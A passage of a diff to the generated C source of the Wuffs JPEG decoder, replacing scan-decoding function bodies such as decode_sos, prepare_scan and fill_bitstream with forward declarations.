wuffs_jpeg__decoder* self, -+ wuffs_base__slice_u8 a_dst_buffer, -+ uint64_t a_dst_stride, -+ uint32_t a_q); - --// -------- func jpeg.decoder.decode_sos -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__decode_idct_x86_avx2( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__slice_u8 a_dst_buffer, -+ uint64_t a_dst_stride, -+ uint32_t a_q); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__decode_sos( -+wuffs_jpeg__decoder__do_decode_image_config( - wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_my = 0; -- uint32_t v_mx = 0; -- uint32_t v_decode_mcu_result = 0; -- uint32_t v_bitstream_length = 0; -- -- uint32_t coro_susp_point = self->private_impl.p_decode_sos[0]; -- if (coro_susp_point) { -- v_my = self->private_data.s_decode_sos[0].v_my; -- v_mx = self->private_data.s_decode_sos[0].v_mx; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- if (self->private_impl.f_scan_count >= 64u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_scan_count); -- goto exit; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_jpeg__decoder__prepare_scan(self, a_src); -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_next_restart_marker = 0u; -- self->private_impl.f_mcu_previous_dc_values[0u] = 0u; -- self->private_impl.f_mcu_previous_dc_values[1u] = 0u; -- self->private_impl.f_mcu_previous_dc_values[2u] = 0u; -- self->private_impl.f_mcu_previous_dc_values[3u] = 0u; -- self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; -- self->private_impl.f_eob_run = 0u; -- self->private_impl.f_bitstream_bits = 0u; -- self->private_impl.f_bitstream_n_bits = 0u; -- self->private_impl.f_bitstream_ri = 0u; -- self->private_impl.f_bitstream_wi = 0u; -- self->private_impl.f_bitstream_padding = 12345u; -- wuffs_jpeg__decoder__fill_bitstream(self, a_src); -- v_my = 0u; -- while (v_my < self->private_impl.f_scan_height_in_mcus) { -- v_mx = 0u; -- while (v_mx < self->private_impl.f_scan_width_in_mcus) { -- self->private_impl.f_mcu_current_block = 0u; -- self->private_impl.f_mcu_zig_index = ((uint32_t)(self->private_impl.f_scan_ss)); -- if (self->private_impl.f_sof_marker >= 194u) { -- wuffs_jpeg__decoder__load_mcu_blocks(self, v_mx, v_my, a_workbuf); -- } -- while (true) { -- v_decode_mcu_result = wuffs_jpeg__decoder__decode_mcu(self, a_workbuf, v_mx, v_my); -- if (v_decode_mcu_result == 0u) { -- break; -- } else if (v_decode_mcu_result != 1u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__internal_error_inconsistent_decoder_state); -- goto exit; -- } -- while (true) { -- v_bitstream_length = ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri)); -- wuffs_jpeg__decoder__fill_bitstream(self, a_src); -- if (v_bitstream_length < ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri))) { -- break; -- } else if (self->private_impl.f_bitstream_padding == 0u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } else if ((a_src && a_src->meta.closed) && ! self->private_impl.f_bitstream_is_closed) { -- if (self->private_impl.f_bitstream_wi < 1024u) { -- wuffs_base__bulk_memset(&self->private_data.f_bitstream_buffer[self->private_impl.f_bitstream_wi], 264u, 0u); -- self->private_impl.f_bitstream_wi += 264u; -- self->private_impl.f_bitstream_is_closed = true; -- } -- break; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- } -- } -- if (self->private_impl.f_sof_marker >= 194u) { -- wuffs_jpeg__decoder__save_mcu_blocks(self, v_mx, v_my, a_workbuf); -- } -- if (self->private_impl.f_restarts_remaining > 0u) { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_impl.f_restarts_remaining -= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- if (self->private_impl.f_restarts_remaining == 0u) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_jpeg__decoder__skip_past_the_next_restart_marker(self, a_src); -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_mcu_previous_dc_values[0u] = 0u; -- self->private_impl.f_mcu_previous_dc_values[1u] = 0u; -- self->private_impl.f_mcu_previous_dc_values[2u] = 0u; -- self->private_impl.f_mcu_previous_dc_values[3u] = 0u; -- self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; -- self->private_impl.f_eob_run = 0u; -- self->private_impl.f_bitstream_bits = 0u; -- self->private_impl.f_bitstream_n_bits = 0u; -- self->private_impl.f_bitstream_ri = 0u; -- self->private_impl.f_bitstream_wi = 0u; -- self->private_impl.f_bitstream_padding = 12345u; -- } -- } -- v_mx += 1u; -- } -- v_my += 1u; -- } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_scan_count, 1u); -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_dqt( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- ok: -- self->private_impl.p_decode_sos[0] = 0; -- goto exit; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_dri( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- goto suspend; -- suspend: -- self->private_impl.p_decode_sos[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_sos[0].v_my = v_my; -- self->private_data.s_decode_sos[0].v_mx = v_mx; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_appn( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint8_t a_marker); - -- goto exit; -- exit: -- return status; --} -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_sof( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src); - --// -------- func jpeg.decoder.prepare_scan -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__quantize_dimension( -+ const wuffs_jpeg__decoder* self, -+ uint32_t a_width, -+ uint8_t a_h, -+ uint8_t a_max_incl_h); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__prepare_scan( -+wuffs_jpeg__decoder__do_decode_frame_config( - wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_c = 0; -- uint32_t v_i = 0; -- uint32_t v_j = 0; -- uint32_t v_j_max_incl = 0; -- bool v_failed = false; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_prepare_scan[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_prepare_scan[0].v_i; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- if ((self->private_impl.f_payload_length < 6u) || (self->private_impl.f_payload_length > 12u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if ((v_c < 1u) || (v_c > 4u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- self->private_impl.f_scan_num_components = ((uint32_t)(v_c)); -- if ((self->private_impl.f_scan_num_components > self->private_impl.f_num_components) || (self->private_impl.f_payload_length != (4u + (2u * self->private_impl.f_scan_num_components)))) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- self->private_impl.f_payload_length = 0u; -- v_i = 0u; -- while (v_i < self->private_impl.f_scan_num_components) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- v_j = 0u; -- while (true) { -- if (v_j >= self->private_impl.f_num_components) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- if (v_c == self->private_impl.f_components_c[v_j]) { -- if ( ! self->private_impl.f_seen_dqt[self->private_impl.f_components_tq[v_j]]) { -- status = wuffs_base__make_status(wuffs_jpeg__error__missing_quantization_table); -- goto exit; -- } -- self->private_impl.f_scan_comps_cselector[v_i] = ((uint8_t)(v_j)); -- break; -- } -- v_j += 1u; -- } -- v_j = 0u; -- while (v_j < v_i) { -- if (self->private_impl.f_scan_comps_cselector[v_i] == self->private_impl.f_scan_comps_cselector[v_j]) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- v_j += 1u; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- v_c = t_2; -- } -- if (((v_c >> 4u) > 3u) || ((v_c & 15u) > 3u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- self->private_impl.f_scan_comps_td[v_i] = (v_c >> 4u); -- self->private_impl.f_scan_comps_ta[v_i] = (v_c & 15u); -- if (self->private_impl.f_sof_marker == 192u) { -- if ((self->private_impl.f_scan_comps_td[v_i] > 1u) || (self->private_impl.f_scan_comps_ta[v_i] > 1u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- } -- v_i += 1u; -- } -- if (self->private_impl.f_sof_marker < 194u) { -- self->private_data.s_prepare_scan[0].scratch = 3u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (self->private_data.s_prepare_scan[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_prepare_scan[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_prepare_scan[0].scratch; -- self->private_impl.f_scan_ss = 0u; -- self->private_impl.f_scan_se = 63u; -- self->private_impl.f_scan_ah = 0u; -- self->private_impl.f_scan_al = 0u; -- } else { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -- } -- if (v_c > 63u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- self->private_impl.f_scan_ss = v_c; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- v_c = t_4; -- } -- if ((v_c > 63u) || (v_c < self->private_impl.f_scan_ss)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- self->private_impl.f_scan_se = v_c; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; -- } -- if (((v_c >> 4u) > 14u) || ((v_c & 15u) > 13u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- self->private_impl.f_scan_ah = (v_c >> 4u); -- self->private_impl.f_scan_al = (v_c & 15u); -- if (self->private_impl.f_scan_ah > 0u) { -- if ((self->private_impl.f_scan_ah - 1u) != self->private_impl.f_scan_al) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- } -- if (self->private_impl.f_scan_ss == 0u) { -- if (self->private_impl.f_scan_se != 0u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } else if (self->private_impl.f_scan_ah == 0u) { -- self->private_impl.choosy_decode_mcu = ( -- &wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits); -- } else { -- self->private_impl.choosy_decode_mcu = ( -- &wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit); -- } -- } else { -- if (self->private_impl.f_scan_num_components != 1u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } else if (self->private_impl.f_scan_ah == 0u) { -- self->private_impl.choosy_decode_mcu = ( -- &wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits); -- } else { -- self->private_impl.choosy_decode_mcu = ( -- &wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit); -- } -- } -- } -- v_i = 0u; -- while (v_i < self->private_impl.f_scan_num_components) { -- if ((self->private_impl.f_scan_ss == 0u) && ! self->private_impl.f_seen_dht[(0u | self->private_impl.f_scan_comps_td[v_i])]) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- status = wuffs_jpeg__decoder__use_default_huffman_table(self, (0u | self->private_impl.f_scan_comps_td[v_i])); -- if (status.repr) { -- goto suspend; -- } -- } -- if ((self->private_impl.f_scan_se != 0u) && ! self->private_impl.f_seen_dht[(4u | self->private_impl.f_scan_comps_ta[v_i])]) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- status = wuffs_jpeg__decoder__use_default_huffman_table(self, (4u | self->private_impl.f_scan_comps_ta[v_i])); -- if (status.repr) { -- goto suspend; -- } -- } -- v_j = ((uint32_t)(self->private_impl.f_scan_ss)); -- v_j_max_incl = ((uint32_t)(wuffs_base__u8__min(self->private_impl.f_scan_se, 9u))); -- while (v_j <= v_j_max_incl) { -- self->private_impl.f_block_smoothing_lowest_scan_al[self->private_impl.f_scan_comps_cselector[v_i]][v_j] = self->private_impl.f_scan_al; -- v_j += 1u; -- } -- v_i += 1u; -- } -- if (self->private_impl.f_scan_num_components == 1u) { -- wuffs_jpeg__decoder__calculate_single_component_scan_fields(self); -- } else { -- v_failed = wuffs_jpeg__decoder__calculate_multiple_component_scan_fields(self); -- if (v_failed) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } -- } -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- goto ok; -- ok: -- self->private_impl.p_prepare_scan[0] = 0; -- goto exit; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__do_decode_frame( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); - -- goto suspend; -- suspend: -- self->private_impl.p_prepare_scan[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_prepare_scan[0].v_i = v_i; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_dht( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+WUFFS_BASE__GENERATED_C_CODE -+static bool -+wuffs_jpeg__decoder__calculate_huff_tables( -+ wuffs_jpeg__decoder* self, -+ uint8_t a_tc4_th, -+ uint32_t a_total_count); - -- return status; --} -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_sos( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); - --// -------- func jpeg.decoder.use_default_huffman_table -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__prepare_scan( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status - wuffs_jpeg__decoder__use_default_huffman_table( - wuffs_jpeg__decoder* self, -- uint8_t a_tc4_th) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__slice_u8 v_data = {0}; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- if (a_tc4_th == 0u) { -- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA), 29); -- } else if (a_tc4_th == 1u) { -- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA), 29); -- } else if (a_tc4_th == 4u) { -- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA), 179); -- } else if (a_tc4_th == 5u) { -- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA), 179); -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__missing_huffman_table); -- goto exit; -- } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- v_data, -- 0u); -- self->private_impl.f_payload_length = ((uint32_t)((((uint64_t)(v_data.len)) & 65535u))); -- { -- wuffs_base__status t_0 = wuffs_jpeg__decoder__decode_dht(self, v_r); -- v_status = t_0; -- } -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -- } -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- -- ok: -- goto exit; -- exit: -- return status; --} -- --// -------- func jpeg.decoder.calculate_single_component_scan_fields -+ uint8_t a_tc4_th); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct - wuffs_jpeg__decoder__calculate_single_component_scan_fields( -- wuffs_jpeg__decoder* self) { -- uint8_t v_csel = 0; -- -- self->private_impl.f_scan_comps_bx_offset[0u] = 0u; -- self->private_impl.f_scan_comps_by_offset[0u] = 0u; -- self->private_impl.f_mcu_num_blocks = 1u; -- self->private_impl.f_mcu_blocks_sselector[0u] = 0u; -- v_csel = self->private_impl.f_scan_comps_cselector[0u]; -- self->private_impl.f_mcu_blocks_offset[0u] = self->private_impl.f_components_workbuf_offsets[v_csel]; -- self->private_impl.f_mcu_blocks_mx_mul[0u] = 8u; -- self->private_impl.f_mcu_blocks_my_mul[0u] = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); -- self->private_impl.f_mcu_blocks_dc_hselector[0u] = (0u | self->private_impl.f_scan_comps_td[0u]); -- self->private_impl.f_mcu_blocks_ac_hselector[0u] = (4u | self->private_impl.f_scan_comps_ta[0u]); -- self->private_impl.f_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); -- self->private_impl.f_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.calculate_multiple_component_scan_fields -+ wuffs_jpeg__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - static bool - wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( -- wuffs_jpeg__decoder* self) { -- uint32_t v_i = 0; -- uint32_t v_h = 0; -- uint32_t v_v = 0; -- uint32_t v_hv = 0; -- uint32_t v_total_hv = 0; -- uint32_t v_b = 0; -- uint32_t v_bx_offset = 0; -- uint32_t v_by_offset = 0; -- uint8_t v_ssel = 0; -- uint8_t v_csel = 0; -- -- v_total_hv = 0u; -- v_i = 0u; -- v_b = 0u; -- v_bx_offset = 0u; -- v_by_offset = 0u; -- while (v_i < self->private_impl.f_scan_num_components) { -- v_h = ((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])); -- v_v = ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]])); -- v_hv = (((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])) * ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]]))); -- v_total_hv += v_hv; -- while (v_hv > 0u) { -- self->private_impl.f_scan_comps_bx_offset[(v_b & 15u)] = ((uint8_t)((v_bx_offset & 3u))); -- self->private_impl.f_scan_comps_by_offset[(v_b & 15u)] = ((uint8_t)((v_by_offset & 3u))); -- self->private_impl.f_mcu_blocks_sselector[(v_b & 15u)] = ((uint8_t)(v_i)); -- v_b += 1u; -- v_bx_offset += 1u; -- if (v_bx_offset == v_h) { -- v_bx_offset = 0u; -- v_by_offset += 1u; -- if (v_by_offset == v_v) { -- v_by_offset = 0u; -- } -- } -- v_hv -= 1u; -- } -- v_i += 1u; -- } -- if (v_total_hv > 10u) { -- return true; -- } -- self->private_impl.f_mcu_num_blocks = v_total_hv; -- v_b = 0u; -- while (v_b < self->private_impl.f_mcu_num_blocks) { -- v_ssel = self->private_impl.f_mcu_blocks_sselector[v_b]; -- v_csel = self->private_impl.f_scan_comps_cselector[v_ssel]; -- self->private_impl.f_mcu_blocks_offset[v_b] = (self->private_impl.f_components_workbuf_offsets[v_csel] + (8u * ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (8u * ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])))); -- self->private_impl.f_mcu_blocks_mx_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_h[v_csel]))); -- self->private_impl.f_mcu_blocks_my_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_v[v_csel])) * self->private_impl.f_components_workbuf_widths[v_csel]); -- self->private_impl.f_mcu_blocks_dc_hselector[v_b] = (0u | self->private_impl.f_scan_comps_td[v_ssel]); -- self->private_impl.f_mcu_blocks_ac_hselector[v_b] = (4u | self->private_impl.f_scan_comps_ta[v_ssel]); -- v_b += 1u; -- } -- self->private_impl.f_scan_width_in_mcus = self->private_impl.f_width_in_mcus; -- self->private_impl.f_scan_height_in_mcus = self->private_impl.f_height_in_mcus; -- return false; --} -- --// -------- func jpeg.decoder.fill_bitstream -+ wuffs_jpeg__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct - wuffs_jpeg__decoder__fill_bitstream( - wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src) { -- uint32_t v_wi = 0; -- uint8_t v_c = 0; -- uint32_t v_new_wi = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- if (self->private_impl.f_bitstream_ri <= 0u) { -- } else if (self->private_impl.f_bitstream_ri >= self->private_impl.f_bitstream_wi) { -- self->private_impl.f_bitstream_ri = 0u; -- self->private_impl.f_bitstream_wi = 0u; -- } else { -- v_wi = (self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri); -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_bitstream_buffer, 2048), wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -- self->private_impl.f_bitstream_ri, -- self->private_impl.f_bitstream_wi)); -- self->private_impl.f_bitstream_ri = 0u; -- self->private_impl.f_bitstream_wi = v_wi; -- } -- v_wi = self->private_impl.f_bitstream_wi; -- while ((v_wi < 2048u) && (((uint64_t)(io2_a_src - iop_a_src)) > 0u)) { -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if (v_c < 255u) { -- self->private_data.f_bitstream_buffer[v_wi] = v_c; -- v_wi += 1u; -- iop_a_src += 1u; -- continue; -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { -- break; -- } else if ((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u) > 0u) { -- break; -- } else { -- self->private_data.f_bitstream_buffer[v_wi] = 255u; -- v_wi += 1u; -- iop_a_src += 2u; -- } -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) > 1u) { -- if ((wuffs_base__peek_u8be__no_bounds_check(iop_a_src) >= 255u) && ((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u) > 0u)) { -- v_new_wi = (wuffs_base__u32__min(v_wi, 1784u) + 264u); -- v_new_wi = wuffs_base__u32__min(v_new_wi, (v_wi + self->private_impl.f_bitstream_padding)); -- if (v_wi < v_new_wi) { -- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_bitstream_padding, (v_new_wi - v_wi)); -- wuffs_base__bulk_memset(&self->private_data.f_bitstream_buffer[v_wi], (v_new_wi - v_wi), 0u); -- v_wi = v_new_wi; -- } -- } -- } -- self->private_impl.f_bitstream_wi = v_wi; -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.load_mcu_blocks_for_single_component -+ wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct -@@ -44752,9 +44689,7 @@ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( - uint32_t a_mx, - uint32_t a_my, - wuffs_base__slice_u8 a_workbuf, -- uint32_t a_csel) { -- return (*self->private_impl.choosy_load_mcu_blocks_for_single_component)(self, a_mx, a_my, a_workbuf, a_csel); --} -+ uint32_t a_csel); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct -@@ -44763,19 +44698,7 @@ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( - uint32_t a_mx, - uint32_t a_my, - wuffs_base__slice_u8 a_workbuf, -- uint32_t a_csel) { -- uint64_t v_stride16 = 0; -- uint64_t v_offset = 0; -- -- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); -- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- 